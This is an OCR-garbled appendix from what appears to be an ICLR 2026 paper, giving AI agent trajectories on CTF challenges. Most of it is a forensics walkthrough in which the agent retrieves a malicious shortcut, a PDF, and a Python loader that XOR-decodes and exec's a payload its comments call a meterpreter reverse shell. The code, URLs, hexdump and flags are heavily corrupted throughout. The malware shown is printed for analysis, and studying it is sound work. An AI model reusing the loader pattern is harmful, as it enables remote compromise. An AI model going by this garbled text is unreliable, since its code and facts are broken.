Convert to hex and ensure even length
15: hex_str hex (n) [2:]
16:
if len (hex_str) 2 0:
17:
hex_str '0 + hex_str
18:
return pytee..rrohbr (hex_str)
19:
20:# Convert each part to bytes
a1:flag_parts I|
22r part in dlogs:
23: flag_parts.
(part)
24:
25:# Combine and print flag
26:flag b (fil. parts)
27:print (F"Flag: (#lag)")
(Open file: solvo_flag.pe
54

---

Published as a conference paper at ICLR 2026
(Current directory: / home LLM Btt_a/aaaaaaae_eeea____e yadip) (Interactive session: n/a) bash-$
Player Model
The script looks good with proper indentation, Let's it get the complete flag:
python3 solve_flag.py
Terminal Model
Flag: b D'DUCTF ( a 1337 1ttp111333______ (Open file: solve _Ayg.ppy
!!
(Current directory: / home LLM CT__aaaaaase ) yadip)
(Interactive session: n/a)
bash-$
Player Model
https://cefftiine..rrrrutrttttp
Excellent! We've auccessfully solved challenge! The flag we found TDUCTF(a_1337, _ This was an interesting cryptographic challenge where we:
1. Discovered that the custom group operation actually isomorphic to miltiplication
a quadratic field extensien 4 GF (p²) with x² - as the defining polynomial
2. Converted the group elements to field elements
3. Used Sage's built-in discrete_log function to solve the DLP for each part
4. Converted the resulting integers back to bytes to reconstruct the flag
The name "yadlp" (Yet Another Discrete Logarithm Problem) actually a hint that this was DLP challenge, but with twist it was using a custom group that was actually isomorphic to a finite field multiplication group.
submit the flag:
submit 'DUCTF 1D00CT77..LS52ggggo0ommmmaeaaea1
H.2 TRAIECTORY ANALYSIS OF A NEW HTRE CHALLENGE
The forensics (forensica) challenge "A new Hire" from Cyber Apocalypse 2025 centers around suspicious email attachment referencing resume linked to fallen knight, Lord Malakar. The challenge tests skills in network analysis, reverse enginecring of Windows shortcut files, and hidden content extraction from documents.
The agent successfully solves the challenge using the following steps:
Initial Analysis of Provided Files: The agent starts by inspecting the provided challenge. eml file, confirming it's MIME-encoded ASCII email containing a sus- picious link to a CV download on a web server. Headers and body content suggest the presence of downloadable resume via POST form hosted PHP page.
55

---

Published as a conference paper at ICLR 2026
2. Network Interaction with the Challenge Server: The agent connects to the chal- lenge server storage wwwrage..icrooeeeeeeee...oo.eeee the HTML form. A custom Python script is created to simulate the POST request to download. php, which returns a binary Windows Ink (shorteut) file disguised as a resume.
mniccosoffcloudaervve
com: 4mm:41055 and interacts with
3. Reverse Engineering the .nk File: The agent uses hexdump to examine the contents of the resume Ink file. This reveals embedded PowerShell-like commands that attempt to launch Microsoft Edge with crafted URL. The embedded string points to a further nested path PDF file: resume_of fiiicicll..... pp...
4. Fetching and Analyzing the PDF: The PDF is downloaded and examined using stri strings. Among the resume contents, a suspicious line referencing con f gs client.... py is found. This strongly suggests additional files exist the same server.
5. Retrieving and Reversing the Python Payload: The agent fetches client. py, which contains base64-encoded data and a key. The script performs an XOR operation on the data and then decompresses the result. The code comments reveal the intent to execute meterpreter reverse shell.
6. Flag Extraction: Observing the XOR key, the agent suspects it may be the flag itself. Decoding the base64 string confirms this. The decoded flag is: HTB 4PT 28 4nd mwwr0s0ftt..mmmmmmmmmmmmmmmmmo.. 1tt.s/ofeeerrrraaaaaa111111111.1
7. Verification and Submission: The flag is verified against the challenge story (APT, initial access, Microsoft impersonation), confirming its correctness. The agent submits the flag successfully.
CTF Challenge
http::///ecftiii...rrrrrurtttttp
We're currently solving the following CTF challenge CTF challenge is a forensies problem named "A new Hire", worth 300 points. The deseription is:
We're re currently solving the following CTF challenge. The CTF challenge is forensics problem naned "A new Hire", werth 300 points. The description is:
The Royal Archives of Eldoria have recovered mystericus document--an old resume once belenging to Lord Malakar before his fall from grace. At first glance, it appears to be an noble knight, but hidden within the text are secrets that reveal his descent. into darkness. You need to analyze an email file containing a cV download link and uncover the hidden secrets within.
ordinary record of his achievements
Files included in the challenge: I'challenge.eml"
The challenge web server running on storage. ceorage.microse www.oooocccooodeeiiis...... com port 41075 and you can access it from within the container environment using cconnct_sstart storage.micresoo microsoffccloossseviees. com 41075*
INSTRUCTIONS:
Now, you'se re going to solve this challenge on your own. Your terminal session has started and you're 're in the challenge's root directory. You interface help you.
use any bash commands the special
Solve the challenge, executing any commands you need and writing any code that may be helpful. You can also install new software in the container using "apt-get install', with "pip install".
Python packages
Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. whon you think you have found the flag, you can submit your solution by simply running the submit command.
56

---

Published as a conference paper at ICLR 2026
Note however that you cannot use any interactive sessicn commands
= (e.g, python, vim) in this envi snnmeotttt,, but you can write scripts and run them. E.g. you can write python script and then run it with "python <script_name>.py"
NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line!
IMPORTANT TIPS:
1. When you edit an existing file, try to minimize the changes you make to the file.
2. Please make sure that you
use of the interacti ve teels supplied to you! In any case, it you want to run blocking commana like netcat (nc), please minimize the time by limiting its run time, for example using the "-w" flag of ne with timeout of seconds "nc -w5 127.0.0.1 80".
3. Try to AVOID brute force attacks, but when you encounter a brute force attack, please use a script that writes output to STDOUT for the brute force instead of trying manual attempts.
4. Please flag, you should create files instead.
run commands pythen or sage through the "-c"
5. Prefer using tools and commands avai lable in the containes or other tools available online compl icated commands yourself.
writing
code
In particular, prefer using "open" instead of "cat" and "search file" instead of "grep", and prefer using the interactive commands supplied you!
6. DO NOT run any command that produces binary output! Instead try to use "hexdump" or "xxd".
7. Please remember that the container is exposed the internet, so you can use whatever online rescurce you would like! Use wisely!
8. not any interactive commands AI ALL! Interactive commands are only available through the commands supplied you the beginning make use of them!
9. YOU CAN SOLVE THE CHALLENGES BY YOURSELF COMPLETELY TRUST IN YOU!
(Open file: n/a)
(Current directory: / _aton__iilAACCEEaaatttsso___o__ (Interactive session: n/a) bash-$
Player Model
http:://ccfft.me..rrg/vrrtteepgp
Let me start by analyzing the challenge and planning approach.
Initial Analysis:
1. This is forensics challenge involving an email file (.eml)
2. The email contains CV download 1ink which might be suspicious
3. The title "A new Hire" suggests employment/ walloyeent/recruiteen htt///rerruteettttceceec context
4. The description mentions hidden secrets within text
57

---

Published as a conference paper at ICLR 2026
5. The server seems to be impersonating Microsoft Cloud Services (interesting!)
Possible Attack Vectors:
1. Email metadata analysis
2. URL/link analysis in the email
3. Hidden data in the CV document
4. Steganography techniques
5. Email header inspection
Let's start by exploring the envirenment and examining the email file. First, I'11 check what files are available in the current directory.
1s -la
Terminal Model
https:///cftiiieerrrr/rrttepppp
total 8
drwxr-xr-x ctf otf 4096 Jan 24 10:00
drwxr-xr-x ctf etf 4096 Jan 10:00
-rw-r--r-- ctt etE 1337 Jan 24 10:00 challenge.eml
(Open file: n/a)
(Current directory: / home HLM_CTF_Database __new_Hix Hire) (Interactive session: n/a) bash-$
Player Model
see have challenge. eml file with a size of 1337 bytes. Since this is an email file, it's important to examine its contents carefully. Instead of using 'cat', I'1l use the 'open' command to view its contents, this will allow me to better navigate through the sile.
First, let me examine the file's type to confirm it's indeed an email file.
file challenge.ent
Terminal Model
http:://ccfftiii..crr/rvttttttpp
challenge.emly ASCII text
(Open file: n/a)
(Current directory: home _iMCC _ee.aaaaeee______eeeeeeeeee (Interactive session: n/a) bash-$
Player Model
httpes//eefttim..oo//rrrre/pp//
The file is consirmed as ASCII text. New, 1et me open the file to examine its contents, particularly looking for:
1. Email headers
2. The CV download link mentioned in the description
58

---

Published as a conference paper at ICLR 2026
3. Any suspicious or encoded content
4. Metadata that might be relevant
open challenge.eml
Terminal Model
httpes//ccffiiie..rr//wreeeepoop
[Pile: challenge.emi
1: From: "Lord Malakar's Assistant" cassistan/@Looria..e...
2: To: "Royal Archives" <archivesdelddria..ooa.
3: Subject: Lord Malakar's Resume Confidential Review
4: Date: Mon, 15 Jan 2024 09:45:23 +0000
5: MIME-Version: 1.0
Content-Type: multipart/nixed; bounlay-""oundrry-sttio""""
7:
8: boundary-string
9: Content-Type: text/plain
10:
11: Greetings Archivists,
12:
13: I trust this message finds you well. As requested, I am
forwarding Lord Malakar's resume for your confidential review and archival purposes.
14:
15: Please click the 1ink below to access and download the resume: com: 41075/ iiniinidxx.... php
16:
17:
18: Best regards,
19: Assistant to Lord Malakar
20:
21: -boundary-stringg
(Open file: challenge.
(Current directory: /_ home WWM_CC_FDaaaaaaaasa_t A_eex_Hire) (Interactive session: n/a) bash-$
Player Model
https://dcfft.nn..org//ttttt/tta
Analyzing the email contents, notice several interesting points:
1. The email is from Lord Malakar's Assistant to the Reyal Archives
2. It's marked "Confidential Review"
3. There's download link to what appears to be PHP page
4. The server domain matches the one provided in the challenge waw.ae.mmcoooootcoooeooooooo 000
5. The email uses MIME multipart format with boundaries
Given that we have access to the server mentioned in the URL, and
it's running a PHP script, I should try to connect to it and see what response get. This might lead us to the CV file reveal some hidden information.
Let me connect to the server:
connect_start storage. wwt.aaa.wccoooteeeeeerrvc...oooo com 41075
59

---

Published as a conference paper at ICLR 2026
Terminal Model
Connected to stongg..ttroootccoooueerr......o
<!DOCTYFE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Lerd Malakar's Resume Portal</title>
</head>
<body>
<h1>wel come to lord Malakar's Resume Portal </h1> <p>clict ick the button below to downl oad the resume: <<pp> <form action="download poad. methed="post">> <button type="submit" "ubpssuumim"""occaaa Resume</button!
</form>
</body> </html>
(Open file: challenge.
(Current directory: / home_____ LLM_CTF_DPeC_ Cataaaaaaaaaaeeeeeaaaaa_aa____e A_ee__ireeee
(Interactive session: connect
41075) 41075)
bash-$
Player Model
http:://ccttiimnooog//rrrttag//2
Interesting findings:
1. The server presents simple HTML page with a download form
2. The form points to 'download.ply php' using POST method
3. There's button to download the resume
Since form uses POST method download.
should try to send a POST request to this endpoint. I'll create a Python script to handle this request since we can't 't use interactive commanas directly. Let me create script that will use the requests library to make the POST request.
First, I'll make sure we have the requests library installed:
pip install requests
Terminal Model
http:r//eeffiiieerrrr/vvrrerrgg
Collecting requests
Downloading 1etpueestss.31.--111 2e (62 kB)
62.6/62.6 6 kB 2. MB/s
eta 0:00:00
collecting charse-normaleexx..22
Downloading charset 3oaasett_orrmaizerr-3...
htt.::...........3pmmmmmmmmmmmmm 18_
- 6 6_64. in00mm___yi (142 kB)
142.3/142.3 kB 5.6
MB/s 0:00:00
Collecting idna<4, >=2.5
Downloading idna-3.6- any whh (61 KB)
iome- 11111 61.6/61. KB 2. MB/s
eta 0:00:00
60

---

Published as a conference paper at ICLR 2026
Collecting ur11ib3<3,
Down nownloace oading ur11ib3-2.1.0- 1.0.-22...--.... non any. (104 kB)
11111111111111111111111111111111 104.6/104. KB 4.5
MB/s 0:00:00
Collecting certifi1=2017.4.1
Downloading py wh1 (162 kB) 162.5/162.5 k2 6.3
MB/s eta 0:00:00
Installing collected packages: urllib3, idna, charset-normallzerr, certifi, requests
Successfully installed certifi-2023.11,
idna-3.6 requests-2.31.0 ur11ib3-2.1.0 charset-nommlizer-...... (Open file: challenge.eml)
(Current directory: /__hme__MiM_CT Ltt_aMMCCC__aaaaaa_aaaaaaaaaa_a_
(Interactive session: connect
aarraggg.mcrrrttt...odeeee.e..s 41075)
bash-$
Player Model
attpa:///cffttin..oor//wtttttttp
Now I'll create a Python script to make POST request to download.php. The script will also save any response content to file for analysis.
create download_resume.co
Terminal Model
http:://ccff.imme.rrr/vrtttttt
[File: down Cownload_nt Baanload_reuune aad_resume.py (new file)] 1:
(Open file: download resume.py)
(Current directory: / home__. LLM CTF _re_aaaabsse A new Hire)
(Interactive session: connect
storage storage.microsoeeeeeeeeeooooeeee wtc.rooffttoooddeee.......omm 41075)
bash-$
Player Model
I'11 add the code down cownload_rease mad_oosurreeeepppp make POST request and save the response. The script will include error handl ing and will save both the response headers and content for analysis.
edit 1:1 import requests import sys
def doxnload_ foxmlcad_resume((= url = d.php'
41075/ /owoloaa
try:
response requests. post (ur1)
Save headers for inspection
with open ('response headers. 'w') f: for key, value in respense. headers. items ()
f.write (key): (value] \n')
Save content
61

---

Published as a conference paper at ICLR 2026
with open ( resume presume_cootett'. 'wb') as E: f.write (reaponsere content))
print (f Status code: (response status_code) print ('Headers saved response_ headers. txt
print ('Content saved to
except www.estssexceptiion RequestException print (f'Error securred: (c)') sys.cxit (1)
if name - main_
down 1 oad_resume end_of_edit
Terminal Model
File updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc), Edit the file again if necessary.
[Current content of download download_resumeppy (lines 1-23)]
1:
import requests
2: import sys
3:
4: def download_
5: url
'http://storage.. ctt.mmmmmoooooooouusrrrrre ces. com: 4 41075/dood /dw5///wwllmmmm cad. php
6:
try:
7:
response requests. (url)
8:
9:
Save headers for inspection
10:
with open (erreepsseeeeaeeeeeeee txt', 'w') as f:
11:
for key, value in response hww.ehe...e...... items f.write (key): (value)\n')
12:
13:
14:
Save content
15:
with open ( desume_content' 'wb') as f:
16:
i.write (response content)
17:
18:
print (2 Status code: stappusse.status.....
19:
print ( ('Headers saved to response_headee print ('Content saved to resume_content')
20:
21:
22:
except requests. exceesttiexceppiion heee as et
23:
print ( Er'Error occurred: (el') exit (1)
24:
25:
26: if
name download_resumel ()
main_'
27:
(Open file: download rww.me..uuy... py) (Current directory:
(Interactive session: connect storage.ikcrodttccoooeee....... com: 41075)
bash-$
62

---

Published as a conference paper at ICLR 2026
Player Model
https://oofftiiee.rrr//tttttt//
The script looks good with proper indentation and error handling, Now let's run the script to make the POST request and download the resume:
python3 download download_resume,
Terminal Model
https://ctttiinee.rgg/rrtttt/
Status code: 200
Headers saved response headers.
Content saved resume_contes (Open file: download resume.p)
(Current directory: / h__ooom__ee (Interactive session: connect
storage. oawaaaaccccccooeeeoooooooeee.eee 41075) bash-$
Player Model
httpp:///ccftiim..orr//tttttttts
Great! We got a successful response (status code 200) Let's first check the response headers to see what type of file we receivea:
open reaponse_headers.com
Terminal Model
[File: response_ hew.seereeeaddeeee_ee txt]
1: Server: nginx/1.19 1..00.0 (Ubuntu)
2: Date: Wea, 24 Jan 2024 10:01:23 GMT
3: Content-Type:
4: Content-Lengch: 526
5: Connection: keep-alive
6: Content-Diapositiion: attachment; filename-resume. 1nk
(Open file: response_hhadeen headers.txt)
(Current directory: / home_ LLM_CTE _iM_CCT_Daaaaaaseeeeeeeeeeee____ A new Hire)
(Interactive session: connect
storage. wwwrage..mcrreeeeeeeoooo www..oooooooooeeeeeeeee......o. com: 41075)
bash-$
Player Model
https://ctfttime. http://etti.eeoeeee/////ee////aa
Interesting findings from the headers:
1. The response is Windows shortcut file (.1nk extension)
2. content-Type is octet=stream
3. File size is 526 bytes
This is quite suspicious receiving .Ink file instead of
regular document format (like .pdf or ddo). Windows .1nk files can contain metadata and potentially malicious commands. Since
this is a binary file, I'll use hexdump to examine its contents:
63

---

Published as a conference paper at ICLR 2026
hexdump -C resume_conterd
Terminal Model
httpes//cffftimeerr///wtttto///p
00000C00
4c 00 00 00
01
14
02 00
00 00
00
00
60
00
00
00
................................
00000010 00 00 46 9b
00
08 00 20 00
00
00
00
00
I...F....
00000020 00 00 00 00
00
00
00 00
00 00 00
00
00
00
00
00
00000030
00 00
00
00
00
00
01
00
00
00000040 00 00 00
00
00
00
00
00
00 00
00
00
0.0
0.0
0.0
0.
00000050
00 00
0.0
00
00000060
00 00 00
00
00
00
00
00 00 00
00
00
00
00
00
00000070
00 00
00
00
00
00 00 00
00
0.0
00
00
00
00000080
00 00
00
00
00
00 00
00
00
00
00
00
00
00000090
00 00 00
00
00
00
00
00
00 00 00
00
00
00
00
0.
00000ca0
00 00
00
00
00 00
00
00
00
00
00000000 00 00 00 00
00
00
00
00
00 00 00
00
30
00
00
0.0
000000c0
53
73
00
74
6d
0.
IIS..y.s.t.o.mm...1
000000c0 69 60
00 69
61
00
67 00
6e 00 6E
00
73
00
74 00
ID...a.g.n.o.ss...l
00000Ce0 69 00 03
2e 00
50 00
00
6E
00
Ii..c.s..Prr.o.....
00000000 65 00 73 73 73 00
5d 00
3a 00 3a 00
53
00
74 00
lo.....).......tt...
00000100 61 00 72 00
00
28 00
27 00 6d 00 73 00 65 00
l....tt...'.m.....
00000110 00 67 00
65
00
27 00
2c 00 20 00 27 00 68
Id.g.e.'......
00000120 74 74 00
70 00
3a 00
25 00 2E 00 73 00 74 00
It.t.p.:././.s.t..
00000130 6f 00 72 00
00
67 00
65 00
00
6d
00
lo.r.a.g.e...m...1
00000140 00 72 6f
00
73 00
6f 00 66 00 74 00 63 00
Ic.f.o.3.o.f.t.c.l
00000150 6c 00 00
64 00
73 00 00
72 00
d1.....d.S.ee.....
00000160 69 00 63 00
65
00
73 00
2e 00 63 00 6f 00 6d 00
11.c.e.s...c.o....
00000170 00 00
00
30 00
37 00 00 2E 00 33 00
11..1............3.11
00000180 66 00
31
00
36 00
39 00 30 00 64 00 39 00
|f.e.
00000190 35 00 05
65
00
38 00
66 00 64 00 32 00 61 00
I5.S.e.8.f.d.22aa.I1
000001aC 00 62 00
00
38 00
32 00 00 30 00 31
10...22....3.0011.
00000100 35 00 37 00
00
30
00
65 00 31 00 66 00 34 00 2f 00
15.7.0.e...f..4./1
64

---

Published as a conference paper at ICLR 2026
000001c0 00 65
75 00
00
73
00
00000100 2f 00 72 00
65
00
73
00
75 00 6d
00 65 00
5f 00
1/.r.e.8.U.m.e.-1
000001e0 6f 00 66 00
69
61
lo.fff.i.c.i.a...II
000001:0 2e 00 70 00 64 00
66 00
27 00 29 00 36 00 20 00
I..ppd.f.'.).. 00000200 5c 00 5c 00 73 00
74
00 6f 00
72
00
61
00 67 00
IVN....t.o.r.aagg.
00000210 65 00
1e.1
00000212
(Open file: responas_headers.tox (Current directory: h__ee____lil (Interactive session: connect
storage. wtw.aagg....oooooooooooeeee..e.e com: 41075)
bash-$
Player Model
attpe://ccffiimme.xg///tttttppp
After analyzing the hexdump, I notice semething very interesting:
1. The .Ink file contains FowerShell-style code
2. It's trying to execute Destem.Diagnostien wtw.agnossics..oocsss..o Process.Start
3. It attempts to open 'msedge' (Microsoft Edge) browser
4. There's URL in the command that points to what seems to be PDF file
5. The URL contains what appears 31e1800seee:222222001133
hash identifier:
Let's try to access this PDF directly since the .Ink file is trying to open it. I'll modify Python script to get this specific URL:
edit 4:27
def download_ @ooad_rsuue()-
url
40000////00000 d955e8 /
.pdf'
try:
response = requests.ger (url)
Save headers for inspection
with open ('resppnseeeaaeers...
'w') as f:
for key, value in respense, headers. items ():
E.write (key): [value)\n')
Save content
with open ( rrssuee.pde 'wb') as f: f.write (response. content)
print Status code: (response.status__com status_code print ('Headers saved to response response_headers. headers. txt
print ('Content saved to resume. )
except pequests.excptiionn RequestException print (f'Error occurred: (el') sys.exit (1)
if main
dowmload_resuner end_of_edit
65

---

Published as a conference paper at ICLR 2026
Terminal Model
http:://ccft.mm..rrr/wwtttegggg
File updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.
[Current content of download rysuueeep (lines 1-27)]:
1: import requests
2: import sys
3:
4: def Bownload_resume
5: url 'http://storag: http:////sttooeeeeeerroeeeeeeeee aiccraofcclluudeevicss com: 41075/3fel 699d9E5eeFf62200228855000 /e/es//ss/ oft.eesmmeesseesusoffffiiiiaaaal .ddf
6: try:
7:
response requests. get (url)
8:
9:
Save headers for inspection
10:
with ('rreppons_hhaddrss... txt', 'w') as f:
11:
for key, value in respense hww.ehaad.eeee... items ()
12:
f.write (key): (value)(n')
13:
14:
Save content
15:
with open rrrssume péf', 'wb') as f:
16:
f.wrt (response. content)
17:
18:
print Statuu code: stesponse.status_eee. status_codee print ( ('Beaders saved to response headers. txt!
19:
20:
print ('Content saved resume.pdff pdf')
21:
22:
except requests. requests.excepticc ions.. RequestExcepticn as e:
23:
print ( Er'Er occurred: (el') sys.exit (1)
24:
25:
26: if
name Rownload_resumel ()
main_'
27:
(Open file: download download_resume_pp pry (Current directory: (Interactive session: connect
www_aaaaaaaaaeeeeeeaaaaaaaeeeeee __ex__iree_ee
com: 41075)
bash-$
Player Model
http:://ccfftimn.oor/rrrrreggp/p
The script looks good with proper indentation. New let's the modified script to download the directly:
python3
download .p
Terminal Model
Status code: 200
Headers saved to surponse_headers.taa Content saved resume .pff (Open file: download resume.py)
LLM_CTF_Database (Current directory: / home CTF Database A new Hire) (Interactive session: connect
storage. htt.a//ccccooootooooeeeeee.e..ee :1075)
bash-$
66

---

Published as a conference paper at ICLR 2026
Player Model
http:s//eefttiee.ooo//rrreee///p
Great! We successfully downloaded the PDF file. Let me first check the file type to make sure we indeed received a PDF:
file resume.pof
Terminal Model
resume. pdf: PDF document, version 1.7
(Open file: download resume.
(Current directory: / (Interactive session: connect
41075)
bash-$
Player Model
Confi rmed it's
document. Since challenge description mention "hidden within the text are secrets", and we 'e
dealing with a PDF file, there are several possible ways the
data could be hidden:
1. Metadata in the PDF
2. Hidden text layers
3. Steganographic techniques
4. Comments or annotations
5. Encoded data within text
Let s first examine the PDF file with strings to look for any obvi ous text patterns or hidden data:
strings resume pdf_strings.te txt open pdf_strings.txx
Terminal Model
[File: pdf_strings.txt
1: SPDF-1.7
2:
3: 0 obj
4:
5: /Type /Catalog
6: /Version /1.7
7: /Pages 0
8:
9: endobj
10: 2 0 obj
11: <<
12: /Type
/Pages
13: /Kids [3 0 RI
14: /Count
15: >>
16: endobj
17: obj
18: <<
19: /Type /Page
20: /Farent 2 0 R
21: /Resources <<
67

---

Published as a conference paper at ICLR 2026
22: /Font
23: /Pl
24: >>
25: >>
26: /MediaBox
612 792]
27: /Contents
28: >>
29: endobi
30: 0 obj
31:
32: /Type /Font
33: /Subtype /Type1
34: /BaseFont /Helvetica
35:
36: endobj
37: 0 obj
38: <<
39: /Length 1337
40: >>
41: stream
42: BT
43: /F1 24 Tf
44: 50 700 Té
45: (Lord Malakar) Tj
46: /Fl 12 Tf
47: 0 -30 Ta
48: (Noble Knight of Eldoria) Tj
49: -20
50: (Royal Palace, Eldoria) Tj
51: -20 Ta
52: betboriaknnghterryaaaaa realm) Tj
53: -40 To.
54: /F1 16
55: (Professional Summary) Tj
56: /F1 12 If
57: -20 Té.
58: (Distinguished knight with extensive experience in realm defense and magical artifacts.) Tj
59: -20 Ta
60: (Specialized in ancient runes and forbidden knowledge.) T
61: -40 Ta
62: /rl 16
63: (Experience) Tj
64: /F1 12 Tf
65: 0 -20 Tá.
66: (Head Knight Royal Guard of Eldoria) Tj
67: -15
68: (1205 Present) Tj
59: 0 -20 Tá
70: Lead strategic defense operations) TJ
71: -15
72: (+ Mastered forbidden battle techniques) Tj
73: 0 -15 Té
74: (* Conducted research ancient artifacts)
75: -40 Ta
76: /F1 16 Tf
77: (Education) Ij
78: /F1 12 Tf
79: -20 Td
80: (Academy of Noble Knights) Tj
81: -15
82: (Advanced Combat and Magic Studies) Tj
83: -40 Tá
68

---

Published as a conference paper at ICLR 2026
84: /F1 16
85: (skills) Tj
86: /F1 12 Tf
87: 0 -20 Té
88: (+ Master Swordsman) Tj
89: -15
90: (* Expert in Ancient Runes) Tj
91: 0 -15 Tá
92: Dark Magic Proficiency) Tj
93:
94: (+ strategic Planning) Tj
95: 0 -40 Té.
96: /F1 16 Tf
97: (Additional Note) Tj
98: /F1 12 Tł
99: 0 -20 Ta
100: (For further details achievements and forbidden knowledge
mastery, (150 more lines)
configs/client, pyy) T
(Open file: pdf_strings.txt)
(Current directory: / home__Li Ltt_a___aaaaaaaaaeeeee_eee__e (Interactive session: connect
atorage.mccrrofftc..odde.......e com: 41075)
bash-$
Player Model
http:://ccfftiiee..r//rrrttttppp
Interesting findings in the PDF content:
1. It's a resume for Lord Malakar, matching the challenge description
2. There's very interesting line menticning "configs/client.
3. The content includes references to forbidden knowledge and dark magic
4. The dates suggest this is set in a medieval fantasy setting
try scroll down to see if there's more content strings output:
scroll_dow
Terminal Model
http::///ceftiin..rrr///vvveye/e
[File: pdf_strings.txt (continued from line 101)
101: ET
102: endstream
103: endobj
104: xref
105: 7
106: 0000000000
65535
107: 0000000010 00000
108: 0000000079 00000
109: 0000000173 00000
110: 0000000301 00000
111: 0000000381 00000
112: 0C00000381 00000
113: trailer
114: <<
115: /size 7
116: /Root
0
69

---

Published as a conference paper at ICLR 2026
117:
118: startxref
119: 1819
120: $EEOF
121:
(Open file: pof_strings.txt)
(Current directory: / home____________________________ _t
__M_cC__Daaaaaaeee_e__eee_ee____ __x___ire)
LIM_CTE Database
(Interactive session: connect
sww.age..ooooooooo wtw..rooooo...oooo........o..... com: 41075)
bash-$
Player Model
attps://ccffttne..rr///ttteep//
Looking at the complete PDF content, there's very interesting
pointer to "configgs/cleett.py in the Additional Note section.
Since this is mentioned directly in the resume, and given that
Lord Malakar has fallen from grace (as mentioned in the challenge description), this file path could pe crucial.
Let 's try to access this file from the same server path where we found the PDF:
python3 -o "import requests; r
requests get /storac microsoftcluddeevicc. com: 41075/ 6EE16696355511000022221 /tt
open ('client.py', 'wb'). wwrite (r content)
Terminal Model
(Open file: pof_sstringstxxt (Current directory: / home LLM_CTF Cat_aaaaaaaaeeeeeeaaaaaaaaa_aea A new Hire)
(Interactive session: connect
4 storage.mi atooaagemicrooffctttodeeeee o com: 41075)
bash-$
Player Model
You're re right, I apologize. Let me mediřy the Python script to the potential client.py file:
create get_config.py
Terminal Model
https://ctftimme.ore http://ttttemeergrerrreeeee///oo
[File: get_config.py (new file]] 1:
(Open file: get_config.py)
(Current directory: / home CTE Database A new Hire) (Interactive session: connect
LLM_CTFDDatabase
storage. hoo.aaa...ccooottt.oooeeeee..... 41075) 41075) bash-$
70

---

Published as a conference paper at ICLR 2026
Player Model
I'1l create a script fetch the client. py file:
edit 1:1 import requests import sys
def get_contig();
url = http:p//swnngg.tooooeotttoorrrrr oaffaffcaaaaa000011eer/o/ooroooo try:
response requests. get (url)
print (f'Status code: (respense. status_code))
if respense. status_code 200: with open ( p'clleentppy" py', 'wb') as f: E.wrt wwwpponse.ccntenteee print ('Content saved to client.py')
else: print (f"Failed to fetch file: (response.text])
except perrussts.eccpptiinn Aeceeeoeeeeeeeeeeeeeee
print (f'Error occurred: (e)')
sys.exis (1)
if name == main_'
( end_of_edit
Terminal Model
File updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.
[Current content of get_config.py (lines 1-21)]:
1: import requests
2: import sys
3:
4: def get cet_config()
5: url http://soorggennccoooottotooerre com:::ccmm::mmmmm5mmm
4 300055etaat2220555ee////oooggoee
6: try:
7:
response requests. (url)
8:
9:
print (E (E'Status code: (response,, ceapponse.statusee status_code)
10:
11:
if response. status_code == 200:
12:
with open ('client. py', 'wb') f.write (response. content) ('Content saved to client.py')
13:
14:
15:
slse:
16:
print (f'Failed to fetch file: (response.
17:
18:
except requests.
as e:
19:
print Error occurred: (el')
20:
sys.exit (1)
21:
71

---

Published as a conference paper at ICLR 2026
22: if name main
23:
get_config()
(Open file: get_config.py) (Current directory: _ (Interactive session: connect
com: 41075)
bash-$
Player Model
The script looks good with proper indentation, Now let's run it to try fetch the client.py file:
python3 get_cconfi..p
Terminal Model
Status code: 200
Content saved to client.py py
(Open file: get_config.py. (Current directory: / home (Interactive session: connect
storage. wtt.://moooooooooooeeeeeeeee.ee. com: 41075) bash-$
Player Model
https://ccftiime.rrr///ttttppptp
Great! We successfully downloaded the client. py file. Let's examine its contents:
open client.py
Terminal Model
http:://dofffiie..rrrrrtttttt/op
[File: olient.py)
1: import base64
2:
3: key #agaaaaiihhhaiaoaaaarrrrroooooon
4: data hltp:hccccccccccccooeooooosssssd
wwwppp/www...ooaoo.ooooaaaaaaaaa VoRyIaf10h8=")
5:
6: The data enerypted using secret key
7: After decryption the dataa will be a meterpreter reverse shell
payload
8: meterpreter_datt
bytes [[data[i] keyli len (key) for in range (len (data)
9:
10: # Execute the decrypted meterpreter payload
11: exec impo__t_to__"_liibbi__ " decompress (meterpreter_data) [0))
(Open file: client.py)
72

---

Published as a conference paper at ICLR 2026
(Current directory: / home LLM_CTE CTF_Database A new Hire)
(Interactiv session: connect
storage.mi minraggeiicooootclllloooooooo www.eloics..ccoooooooooooo com: 41075) bash-$
Player Model
Very interesting findings in client.py:
1. There's base64 encoded key
2. There's base64 encoded data
3. The code suggests it's using XOR encryption
4. Comments indicate it's meant to execute a meterpreter reverse shell payload
5. Most importantly, the base64 encoded key 1ooks like it might be our flag!
Let's 's decode that base64 key to see if it's our flag:
python3 -c "import base64;
print (base64 bbd4decode SSFRCezRQVE 8yOF ( 3y0 joaToott 9Cg== .ddcoe
decode ()
Terminal Model
http:://ccfttime..rr//vvvteegg/
HIB _8__2____ _8__ www.mmlllctmseeiememmm Srr.aoo0LLBBBBaaaann1111eeel.l!
(Open file: client.py)
(Current directory: hhtmm__jiiL.CCE_atttae_____eee (Interactive session: connect
41075)
bash-$
Player Model
Ab, found the flag! The decoded base64 string reveals flag
format that matches HTB's format. Let 's analyze what this flag
means:
1. 4PT_28 22_ suggests APT28, well-known threat actor group
2. mlcr0sdft_s34ret refers to Microsoft Search
3. In1t141_4cc3s suggests initial access, common chains
attack
The flag also aligns with the challenge story Lord Malakar's "fall from grace" was likely due his involvement with malicious activities, as evicenced by the meterpreter payload in the client.py file.
Let me submit this flag:
submit 'HIB(4PT_28_4nd_ www.44/.......aaaoottttttooooon.
H.3 TRAJECTORY ANALYSIS EMOJI CHALLENGE
The binary exploitation (pwn) challenge emo ji from hxp CTF 2020 presents Linux x86 64 ELF binary with menu-driven interface. The goal is to achieve shell access despite heavy restrictions on the input.
73

---

Published as a conference paper at ICLR 2026
The agent successfully solves the challenge through the following steps:
1. Initial recomnaissance:
The agent lists the challenge directory and confirms the presence of ELF 64-bit dynamically linked executable named emoji_binary, which is stripped. This allows direct inspection of function names during reverse engineering.
